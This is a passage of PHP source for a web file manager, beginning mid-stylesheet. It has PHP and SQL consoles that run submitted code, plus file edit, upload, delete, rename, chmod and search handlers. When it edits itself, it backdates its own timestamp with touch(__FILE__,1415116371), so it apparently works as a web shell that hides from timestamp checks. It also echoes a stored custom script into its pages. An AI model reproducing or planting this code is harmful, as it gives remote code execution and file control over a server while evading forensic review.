                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,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");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

